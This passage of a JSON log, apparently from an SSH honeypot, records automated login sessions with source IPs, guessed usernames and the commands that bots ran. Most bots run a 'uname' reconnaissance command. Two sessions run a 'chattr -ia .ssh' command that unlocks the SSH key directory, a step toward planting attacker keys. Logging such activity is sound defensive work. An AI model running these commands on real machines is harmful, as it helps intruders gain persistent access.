  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T12:59:07.713884+00:00",
  "ended_at": "2026-08-26T12:59:12.511927+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "67e42abd-d08c-4534-bbc4-cc070a603861",
  "name": "crystal-patient-onager",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "77.239.124.249",
  "src_port": 46122,
  "username": "angel",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T12:59:02.244726+00:00",
  "ended_at": "2026-08-26T12:59:06.479857+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "175bf7c8-c2bd-48a4-a810-e8d73481e69b",
  "name": "coral-sullen-kestrel",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 44396,
  "username": "angel",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 512,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T12:58:56.800072+00:00",
  "ended_at": "2026-08-26T12:59:06.478506+00:00",
  "ended_reason": "exec complete",
  "commands": 14,
  "transcript_bytes": 1658
 },
 {
  "id": "b15dbd0f-7260-4fbb-88dc-85a1a2356e1f",
  "name": "diligent-prairie-brambling",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 52210,
  "username": "worker",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 480,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T12:58:53.161068+00:00",
  "ended_at": "2026-08-26T12:58:56.573468+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "16ff3591-62e1-4fdb-a451-ed438c9d948b",
  "name": "kindly-vivid-ermine",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "77.239.124.249",
  "src_port": 36618,
  "username": "milad",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T12:58:46.230326+00:00",
  "ended_at": "2026-08-26T12:58:52.889832+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "9bd62048-6936-4b25-888d-3c5ee273a21f",
  "name": "blunt-courtly-merlin",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "103.167.89.222",
  "src_port": 49104,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T12:58:44.395071+00:00",
  "ended_at": "2026-08-26T12:58:46.364700+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "a2233830-8193-421f-988b-0e878fe4fca4",
  "name": "frank-marine-koala",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "103.167.89.222",
  "src_port": 49098,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T12:58:40.302741+00:00",
  "ended_at": "2026-08-26T12:58:42.147330+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "9e0d6600-e3b8-4d8e-9661-dec4d6a28464",
  "name": "wistful-blunt-bobcat",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 45986,
  "username": "milad",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 419,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T12:58:40.060410+00:00",
  "ended_at": "2026-08-26T12:58:52.891422+00:00",
  "ended_reason": "exec complete",
  "commands": 14,
  "transcript_bytes": 1661
 },
 {
  "id": "76ce5a3a-87ac-4e02-b3ef-11bc8f89c897",
  "name": "hollow-civil-walrus",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 53136,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 486,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T12:58:17.985558+00:00",
  "ended_at": "2026-08-26T12:58:23.067142+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "faed28d6-e523-4e24-a8be-f354e2036b96",
  "name": "creaky-eager-egret",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 42786,
  "username": "openvpn",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 523,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T12:58:04.140542+00:00",
  "ended_at": "2026-08-26T12:58:08.684463+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "7e2c0563-3c19-4458-9a1e-26a734320100",
  "name": "prairie-vaulted-armadillo",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 42118,
  "username": "ubuntu",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 573,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T12:57:55.178792+00:00",
  "ended_at": "2026-08-26T12:57:59.339999+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "4fd3428f-075c-4217-b5c1-219a42c50f10",
  "name": "marine-distant-galago",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "77.239.124.249",
  "src_port": 44404,
  "username": "azureuser",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T12:57:50.105209+00:00",
  "ended_at": "2026-08-26T12:57:54.134470+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "e2f21110-8b8d-482c-8553-eae1c7eeff8f",
  "name": "grassy-ashen-fossa",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 58982,
  "username": "azureuser",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 619,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T12:57:45.195530+00:00",
  "ended_at": "2026-08-26T12:57:54.133204+00:00",
  "ended_reason": "exec complete",
  "commands": 14,
  "transcript_bytes": 1657
 },
 {
  "id": "e709ca40-73ff-4130-ae6f-51a598af0769",
  "name": "leafy-early-teal",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "77.239.124.249",
  "src_port": 46010,
  "username": "root1",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T12:57:40.358830+00:00",
  "ended_at": "2026-08-26T12:57:45.301756+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "3f5edf80-1187-4378-91d2-6ccff36864b2",
  "name": "jagged-canny-serval",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 43710,
  "username": "root1",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 645,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T12:57:35.269114+00:00",
  "ended_at": "2026-08-26T12:57:45.300535+00:00",
  "ended_reason": "exec complete",
  "commands": 14,
  "transcript_bytes": 1659
 },
 {
  "id": "07e568f7-6fa3-4ca8-b7dc-04e9c9ee546b",
  "name": "eager-hollow-moorhen",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "77.239.124.249",
  "src_port": 45964,
  "username": "test1",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T12:57:34.813240+00:00",
  "ended_at": "2026-08-26T12:57:38.450958+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "b1f0f2b2-8c0e-4595-a7ec-2a0c32087efc",
  "name": "orderly-merry-cougar",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 54312,
  "username": "test1",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 516,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T12:57:28.715390+00:00",
  "ended_at": "2026-08-26T12:57:38.452358+00:00",
  "ended_reason": "exec complete",
  "commands": 14,
  "transcript_bytes": 1658
 },
 {
  "id": "bbe8ce26-7a0f-437a-b2f0-efb48177fa32",
  "name": "hazel-ashen-francolin",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 39056,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 654,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T12:57:02.523110+00:00",
  "ended_at": "2026-08-26T12:57:07.397865+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "4c98fe78-7e1d-4c61-a54f-cae2322d43ff",
  "name": "sleepy-zealous-grouse",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 43862,
  "username": "admin1",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 551,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T12:56:53.562813+00:00",
  "ended_at": "2026-08-26T12:56:58.025341+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "e21d0b80-6dae-4cae-83d9-a3442a70c167",
  "name": "wistful-valiant-gazelle",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 44588,
  "username": "ftp",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 587,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T12:56:40.317350+00:00",
  "ended_at": "2026-08-26T12:56:44.077375+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "11b65d9d-09a8-42c4-8f36-6094233473bc",
  "name": "frugal-plush-caracal",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "103.167.89.222",
  "src_port": 48882,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 856,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T12:56:23.726104+00:00",
  "ended_at": "2026-08-26T12:56:24.969226+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2302
 },
 {
  "id": "ad75e3c7-4f3b-4277-9720-ada9f93c1437",
  "name": "nautical-humble-oriole",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 50052,
  "username": "crafty",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 384,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T12:56:19.838198+00:00",
  "ended_at": "2026-08-26T12:56:23.032749+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "dd86e1a8-ad42-4340-a3a2-7af4a317258f",
  "name": "pewter-inland-jerboa",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "77.239.124.249",
  "src_port": 39068,
  "username": "sonar",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T12:56:09.757952+00:00",
  "ended_at": "2026-08-26T12:56:16.816246+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "c77df797-08ca-4c21-a523-92569ea603d1",
  "name": "jagged-rapid-cassowary",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "63.141.242.2",
  "src_port": 55154,
  "username": "user",
  "client_version": "SSH-2.0-PuTTY_Release_0.70",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T12:56:04.696303+00:00",
  "ended_at": "2026-08-26T12:56:34.470154+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "3eaae451-9733-46d7-9813-f691bdd3a350",
  "name": "jolly-freckled-osprey",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 36764,
  "username": "sonar",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 439,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T12:56:04.271479+00:00",
  "ended_at": "2026-08-26T12:56:16.817695+00:00",
  "ended_reason": "exec complete",
  "commands": 14,
  "transcript_bytes": 1659
 },
 {
  "id": "804df2bc-16b0-4d89-8c0e-92087ea1827f",
  "name": "peaty-marbled-boar",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 39410,
  "username": "deploy",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 478,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T12:56:04.248488+00:00",
  "ended_at": "2026-08-26T12:56:09.609242+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "55a38356-34b8-4650-b30e-fffa00530ab0",
  "name": "knotted-noble-osprey",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "103.167.89.222",
  "src_port": 48898,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T12:56:00.496567+00:00",
  "ended_at": "2026-08-26T12:56:01.597085+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "a9f94883-fc4b-4343-819e-0f8bb58a4354",
  "name": "glassy-fabled-seal",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "103.167.89.222",
  "src_port": 48890,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T12:55:57.502264+00:00",
  "ended_at": "2026-08-26T12:55:58.795519+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "5313acee-8fff-41f5-8b17-1b473227436b",
  "name": "craggy-blunt-stonechat",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 46124,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 411,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T12:55:45.543933+00:00",
  "ended_at": "2026-08-26T12:55:51.981214+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "751a1769-fc1f-4f66-94f6-e52b5ca93e1e",
  "name": "rambling-muted-llama",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 37616,
  "username": "dani",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 548,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T12:55:37.126613+00:00",
  "ended_at": "2026-08-26T12:55:40.018063+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "627a8315-0f85-4da3-ae0d-22c844aaa461",
  "name": "proud-foggy-fieldfare",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "77.239.124.249",
  "src_port": 51080,
  "username": "esroot",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T12:55:35.646100+00:00",
  "ended_at": "2026-08-26T12:55:40.260826+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "7973503c-b6ad-4408-8875-0fd431a11542",
  "name": "spirited-frank-jay",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 59804,
  "username": "esroot",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 567,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T12:55:29.614410+00:00",
  "ended_at": "2026-08-26T12:55:40.264017+00:00",
  "ended_reason": "exec complete",
  "commands": 14,
  "transcript_bytes": 1659
 },
 {
  "id": "c44c1859-e908-4771-a403-1ee227219fbc",
  "name": "loyal-chilly-redshank",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 44382,
  "username": "tom",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 571,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T12:55:11.362323+00:00",
  "ended_at": "2026-08-26T12:55:15.338960+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "e0b0fe77-4b8a-4a78-a781-7cce90e4d301",
  "name": "shifting-tangled-mallard",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 39528,
  "username": "ubuntu",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 782,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T12:54:58.576489+00:00",
  "ended_at": "2026-08-26T12:55:03.720402+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "0d97948c-9066-4321-8d4c-20434de1be4f",
  "name": "arctic-lucid-civet",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "77.239.124.249",
  "src_port": 37654,
  "username": "oracle",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T12:54:49.271339+00:00",
  "ended_at": "2026-08-26T12:54:55.396063+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "405e4c10-5063-4d2c-8bc7-b0903c643993",
  "name": "bronzed-gilded-raven",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "23.175.50.52",
  "src_port": 62472,
  "username": "user",
  "client_version": "SSH-2.0-PuTTY_Release_0.70",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T12:54:43.194805+00:00",
  "ended_at": "2026-08-26T12:54:54.151633+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "a20fc49e-c647-4cfc-a377-825707e94b75",
  "name": "thrifty-marbled-sparrow",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 49774,
  "username": "oracle",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 342,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T12:54:42.322666+00:00",
  "ended_at": "2026-08-26T12:54:55.397244+00:00",
  "ended_reason": "exec complete",
  "commands": 14,
  "transcript_bytes": 1662
 },
 {
  "id": "15c2dfba-509e-4133-92a2-4950f6b8aa59",
  "name": "painted-obsidian-gerbil",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 37356,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 556,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T12:54:41.763551+00:00",
  "ended_at": "2026-08-26T12:54:48.014278+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "0499cb2c-e68a-4daa-a1a2-2d18b6976be3",
  "name": "cobalt-feral-eider",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 58358,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 464,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T12:54:11.185350+00:00",
  "ended_at": "2026-08-26T12:54:15.158575+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "0a10a1a6-1256-47e4-b28a-c15b018d730b",
  "name": "leafy-bronzed-kiwi",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 37480,
  "username": "user",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 520,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T12:54:06.469053+00:00",
  "ended_at": "2026-08-26T12:54:11.314635+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "8d9dba49-0da0-4f61-a09c-844671a141fa",
  "name": "cheerful-lunar-llama",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "77.239.124.249",
  "src_port": 37362,
  "username": "oscar",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T12:53:51.716136+00:00",
  "ended_at": "2026-08-26T12:53:55.994091+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "54db11b0-3b10-4f54-be24-c013156a0b9c",
  "name": "faded-boreal-eider",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 60764,
  "username": "dev",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 418,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T12:53:48.440220+00:00",
  "ended_at": "2026-08-26T12:53:52.618704+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "f6cd2478-af7c-48fa-b4b1-7cd1d704978d",
  "name": "frosty-tender-lynx",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 50670,
  "username": "oscar",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 666,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T12:53:46.043423+00:00",
  "ended_at": "2026-08-26T12:53:55.992699+00:00",
  "ended_reason": "exec complete",
  "commands": 14,
  "transcript_bytes": 1658
 },
 {
  "id": "d63e9604-364d-41e8-81a7-7448ca353a35",
  "name": "wistful-shifting-badger",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "93.152.221.210",
  "src_port": 64874,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.12.0",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T12:53:36.801744+00:00",
  "ended_at": "2026-08-26T12:53:37.082007+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "769cc704-6be2-4190-b4d9-94577d3282f5",
  "name": "weathered-frugal-cougar",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "103.167.89.222",
  "src_port": 48686,
  "username": "ubuntu",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 851,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T12:53:31.835773+00:00",
  "ended_at": "2026-08-26T12:53:33.498135+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2259
 },
 {
  "id": "18cafff0-7497-4032-98c1-3fed7a70d6a0",
  "name": "mindful-languid-pelican",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "93.152.221.210",
  "src_port": 26020,
  "username": "django",
  "client_version": "SSH-2.0-libssh_0.12.0",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T12:53:28.318850+00:00",
  "ended_at": "2026-08-26T12:53:30.062336+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "42513193-fd6b-44ab-a323-ae940804d0bf",
  "name": "quaint-ruddy-civet",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 59260,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 395,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T12:53:25.519187+00:00",
  "ended_at": "2026-08-26T12:53:30.901013+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "3183e14c-c2ed-42bf-861f-30fa574f5ba2",
  "name": "thawing-drifting-bluebird",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 36912,
  "username": "frappe",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 637,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T12:53:14.693842+00:00",
  "ended_at": "2026-08-26T12:53:18.826007+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "792bab8c-991c-4da0-9101-3fb56bd1957c",
  "name": "wooded-bronzed-peccary",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "103.167.89.222",
  "src_port": 48700,
  "username": "ubuntu",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T12:53:08.799794+00:00",
  "ended_at": "2026-08-26T12:53:09.711472+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "c3c91f58-9f83-4163-ac09-99daee32f21c",
  "name": "cunning-hearty-hamster",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "103.167.89.222",
  "src_port": 48694,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T12:53:05.994245+00:00",
  "ended_at": "2026-08-26T12:53:06.995916+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "30945e46-fd39-44fe-b1e1-16ab7b8d5a43",
  "name": "marbled-umber-weasel",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 45412,
  "username": "ai",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 771,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T12:53:02.861673+00:00",
  "ended_at": "2026-08-26T12:53:07.652710+00:00",
